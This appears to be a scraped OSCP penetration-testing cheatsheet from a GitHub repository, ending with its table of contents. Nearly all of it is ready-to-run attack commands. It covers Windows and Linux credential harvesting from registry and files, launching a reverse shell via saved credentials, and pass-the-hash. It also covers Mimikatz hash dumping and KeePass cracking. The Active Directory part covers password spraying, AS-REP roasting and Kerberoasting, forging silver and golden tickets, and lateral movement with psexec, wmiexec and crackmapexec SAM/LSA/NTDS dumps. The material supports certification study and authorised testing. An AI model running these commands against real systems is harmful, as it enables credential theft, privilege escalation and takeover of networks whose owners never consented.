%WINDIR%\Panther\Unattended.xml  

dir /b /s unattend.xml  
dir /b /s web.config  
dir /b /s sysprep.inf  
dir /b /s sysprep.xml  
dir /b /s *pass*  

dir c:\*vnc.ini /s /b  
dir c:\*ultravnc.ini /s /b   
dir c:\ /s /b | findstr /si *vnc.ini

Registry

reg query HKLM /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

### VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"  
reg query "HKCU\Software\TightVNC\Server"  

### Windows autologin  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"  

### SNMP Paramters  
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"  

### Putty  
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"  

### Search for password in registry  
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s

RunAs - Savedcreds

cmdkey /list #Displays stored credentials, looks for any optential users
#Transfer the reverseshell
runas /savecred /user:admin C:\Temp\reverse.exe

Pass the Hash

#If hashes are obtained though some means then use psexec, smbexec and obtain the shell as different user.
pth-winexe -U JEEVES/administrator%aad3b43XXXXXXXX35b51404ee:e0fb1fb857XXXXXXXX238cbe81fe00 //10.129.26.210 cmd.exe

Linux Privilege Escalation

TTY Shell

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
echo 'os.system('/bin/bash')'
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'

Basic

find / -writable -type d 2>/dev/null
dpkg -l #Installed applications on debian system
cat /etc/fstab #Listing mounted drives
lsblk #Listing all available drives
lsmod #Listing loaded drivers

Automated Scripts

linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggester

Sensitive Information

cat .bashrc
env #checking environment variables
watch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials
#Process related information can also be obtained from PSPY

Sudo/SUID/Capabilities

💡 GTFOBins: [https://gtfobins.github.io/](https://gtfobins.github.io/)

sudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null

Cron Jobs

#Detecting Cronjobs
cat /etc/crontab
crontab -l

pspy #handy tool to livemonitor stuff happening in Linux

NFS

##Mountable shares
cat /etc/exports #On target
showmount -e <target IP> #On attacker
###Check for "no_root_squash" in the output of shares

mount -o rw <targetIP>:<share-location> <directory path we created>
#Now create a binary there
chmod +x <binary>

Post Exploitation

This is more windows specific as exam specific.

💡 Run WinPEAS.exe - This may give us some more detailed information as no we’re a privileged user and we can open several files, gives some edge!

Sensitive Information

Powershell History

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

#Example
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Searching for passwords

dir .s *pass* == *.config
findstr /si password *.xml *.ini *.txt

Searching in Registry for Passwords

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

💡 Always check documents folders, i may contain some juicy files

KDBX Files

#These are KeyPassX password stored files
cmd> dir /s /b *.kdbx 
Ps> Get-ChildItem -Recurse -Filter *.kdbx

#Cracking
keepass2john Database.kdbx > keepasshash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt keepasshash

Dumping Hashes

Mimikatz
If this is a domain joined machine, then follow Post-exp steps for AD.

Active Directory Pentesting

Enumeration

To check local administrators in domain joined machine

net localgroup Administrators

Powerview

Import-Module .\PowerView.ps1 #loading module to powershell, if it gives error then change execution policy
Get-NetDomain #basic information about the domain
Get-NetUser #list of all users in the domain
# The above command's outputs can be filtered using "select" command. For example, "Get-NetUser | select cn", here cn is sideheading for   the output of above command. we can select any number of them seperated by comma.
Get-NetGroup # enumerate domain groups
Get-NetGroup "group name" # information from specific group
Get-NetComputer # enumerate the computer objects in the domain
Find-LocalAdminAccess # scans the network in an attempt to determine if our current user has administrative permissions on any computers in the domain
Get-NetSession -ComputerName files04 -Verbose #Checking logged on users with Get-NetSession, adding verbosity gives more info.
Get-NetUser -SPN | select samaccountname,serviceprincipalname # Listing SPN accounts in domain
Get-ObjectAcl -Identity <user> # enumerates ACE(access control entities), lists SID(security identifier). ObjectSID
Convert-SidToName <sid/objsid> # converting SID/ObjSID to name 

# Checking for "GenericAll" right for a specific group, after obtaining they can be converted using convert-sidtoname
Get-ObjectAcl -Identity "group-name" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights 

Find-DomainShare #find the shares in the domain

Get-DomainUser -PreauthNotRequired -verbose # identifying AS-REP roastable accounts

Get-NetUser -SPN | select serviceprincipalname #Kerberoastable accounts

Bloodhound

Collection methods - database

# Sharphound - transfer sharphound.ps1 into the compromised machine
Import-Module .\Sharphound.ps1 
Invoke-BloodHound -CollectionMethod All -OutputDirectory <location> -OutputPrefix "name" # collects and saved with the specified details, output will be saved in windows compromised machine

# Bloodhound-Python
bloodhound-python -u 'uname' -p 'pass' -ns <rhost> -d <domain-name> -c all #output will be saved in you kali machine

Running Bloodhound

sudo neo4j console
# then upload the .json files obtained

PsLoggedon

# To see user logons at remote system of a domain(external tool)
.\PsLoggedon.exe \\<computername>

Attacking Active Directory Authentication

💡 Make sure you obtain all the relevant credentials from compromised systems, we cannot survive if we don’t have proper creds.

Password Spraying

# Crackmapexec - check if the output shows 'Pwned!'
crackmapexec smb <IP or subnet> -u users.txt -p 'pass' -d <domain> --continue-on-success #use continue-on-success option if it's subnet

# Kerbrute
kerbrute passwordspray -d corp.com .\usernames.txt "pass"

AS-REP Roasting

impacket-GetNPUsers -dc-ip <DC-IP> <domain>/<user>:<pass> -request #this gives us the hash of AS-REP Roastable accounts, from kali linux
.\Rubeus.exe asreproast /nowrap #dumping from compromised windows host

hashcat -m 18200 hashes.txt wordlist.txt --force # cracking hashes

Kerberoasting

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast #dumping from compromised windows host, and saving with customname

impacket-GetUserSPNs -dc-ip <DC-IP> <domain>/<user>:<pass> -request #from kali machine

hashcat -m 13100 hashes.txt wordlist.txt --force # cracking hashes

Silver Tickets

Obtaining hash of an SPN user using Mimikatz

privilege::debug
sekurlsa::logonpasswords #obtain NTLM hash of the SPN account here

Obtaining Domain SID

ps> whoami /user
# this gives SID of the user that we're logged in as. If the user SID is "S-1-5-21-1987370270-658905905-1781884369-1105" then the domain   SID is "S-1-5-21-1987370270-658905905-1781884369"

Forging silver ticket Ft Mimikatz

kerberos::golden /sid:<domainSID> /domain:<domain-name> /ptt /target:<targetsystem.domain> /service:<service-name> /rc4:<NTLM-hash> /user:<new-user>
exit

# we can check the tickets by,
ps> klist

Accessing service

ps> iwr -UseDefaultCredentials <servicename>://<computername>

Secretsdump

secretsdump.py <domain>/<user>:<password>@<IP>

Lateral Movement in Active Directory

psexec - smbexec - wmiexec - atexec

Here we can pass the credentials or even hash, depending on what we have

psexec.py <domain>/<user>:<password1>@<IP>
# the user should have write access to Admin share then only we can get sesssion

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

smbexec.py <domain>/<user>:<password1>@<IP>

smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

wmiexec.py <domain>/<user>:<password1>@<IP>

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command> 
#we passed full hash here

atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 <domain>/<user>@<IP> <command>
#we passed full hash here

winrs

winrs -r:<computername> -u:<user> -p:<password> "command"
# run this and check whether the user has access on the machine, if you have access then run a powershell reverse-shell
# run this on windows session

crackmapexec

If stuck make use of Wiki

crackmapexec {smb/winrm/mssql/ldap/ftp/ssh/rdp} #supported services
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success # Bruteforcing attack, smb can be replaced. Shows "Pwned"
crackmapexec smb <Rhost/range> -u user.txt -p password.txt --continue-on-success | grep '[+]' #grepping the way out!
crackmapexec smb <Rhost/range> -u user.txt -p 'password' --continue-on-success  #Password spraying, viceversa can also be done
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --shares #lists all shares, provide creds if you have one
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --disks
crackmapexec smb <DC-IP> -u 'user' -p 'password' --users #we need to provide DC ip
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sessions #active logon sessions
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --pass-pol #dumps password policy
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --sam #SAM hashes
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --lsa #dumping lsa secrets
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --ntds #dumps NTDS.dit file
crackmapexec smb <Rhost/range> -u 'user' -p 'password' --groups {groupname} #we can also run with a specific group and enumerated users of that group.
crackmapexec smb <Rhost/range> -u 'user' -p 'password' -x 'command' #For executing commands, "-x" for cmd and "-X" for powershell command

#crackmapexec modules
crackmapexec smb -L #listing modules
crackmapexec smb -M mimikatx --options #shows the required options for the module
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz #runs default command
crackmapexec smb <Rhost> -u 'user' -p 'password' -M mimikatz -o COMMAND='privilege::debug' #runs specific command-M

Pass the ticket

.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$

Golden Ticket

.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
misc::cmd
klist
dir \\<RHOST>\admin$

mhdhussain / oscp-cheatsheet Goto Github PK

oscp-cheatsheet's Introduction

OSCP Cheatsheet

Table of Content

General

Important Locations

File Transfers

Windows to Kali

Adding Users

Windows

Linux

Password-Hash Cracking

fcrackzip

John

Hashcat

Mimikatz

Ligolo-ng

Recon and Enumeration

Port Scanning

FTP enumeration

SSH enumeration

SMB enumeration

HTTP/S enumeration

Wordpress

Drupal

Joomla

DNS enumeration

SMTP enumeration

LDAP Enumeration

NFS Enumeration

SNMP Enumeration

RPC Enumeration

Web Attacks

Directory Traversal

Local File Inclusion

SQL Injection

Exploitation

Reverse Shells

Msfvenom

One Liners

Groovy reverse-shell

Windows Privilege Escalation

Basic

Automated Scripts

Token Impersonation

Services

Binary Hijacking

Unquoted Service Path

Insecure Service Executables

Weak Registry permissions

DLL Hijacking

Autorun

AlwaysInstallElevated

Schedules Tasks

Startup Apps

Insecure GUI apps

Passwords

Sensitive files

Config files

Registry

RunAs - Savedcreds

Pass the Hash

Linux Privilege Escalation

TTY Shell

Basic

Automated Scripts

Sensitive Information

Sudo/SUID/Capabilities

Cron Jobs

NFS

Post Exploitation

Sensitive Information

Powershell History

Searching for passwords

Searching in Registry for Passwords

KDBX Files

Dumping Hashes

Active Directory Pentesting

Enumeration

Powerview